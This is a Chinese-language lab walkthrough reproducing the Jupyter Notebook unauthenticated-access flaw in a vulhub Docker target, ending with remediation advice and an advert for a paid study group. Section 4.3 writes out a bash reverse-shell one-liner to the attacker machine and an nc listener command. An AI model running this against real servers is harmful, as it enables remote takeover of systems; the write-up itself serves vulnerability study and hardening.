一、 Jupyter Notebook介绍

Jupyter Notebook(此前被称为 IPython notebook)是基于网页的用于交互计算的应用程序,是一个交互式笔记本,支持运行 40 多种编程语言。Jupyter Notebook是以网页的形式打开,可以在网页页面中直接编写代码和运行代码,代码的运行结果也会直接在代码块下显示。

二、Jupyter Notebook未授权访问介绍

如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令。

三、靶场搭建

靶机: ubuntu IP: 192.168.241.142
攻击机: kali IP: 192.168.241.128

直接使用 vluhub 环境了

cd /vulhub/jupyter/notebook-rce
docker-compose up -d

在这里插入图片描述

四、漏洞复现

4.1 、靶场环境搭建好之后,访问 http://your-ip:8888 将看到 Jupyter Notebook 的Web管理界面,没有要求填写密码。(此处就是未授权访问漏洞)
在这里插入图片描述
4.2、利用 Terminal 执行系统命令

选择 new -> terminal 即可创建一个控制台:
在这里插入图片描述
在这里插入图片描述
4.3、反弹 shell 到kali

bash -i >& /dev/tcp/192.168.241.128/6666 0>&1

在这里插入图片描述
kali 监听

nc -nvlp 6666

在这里插入图片描述

五、漏洞修复

1、开启身份验证,防止未经授权用户访问。
2、访问控制策略,限制IP访问,绑定固定IP。

更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥
在这里插入图片描述

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐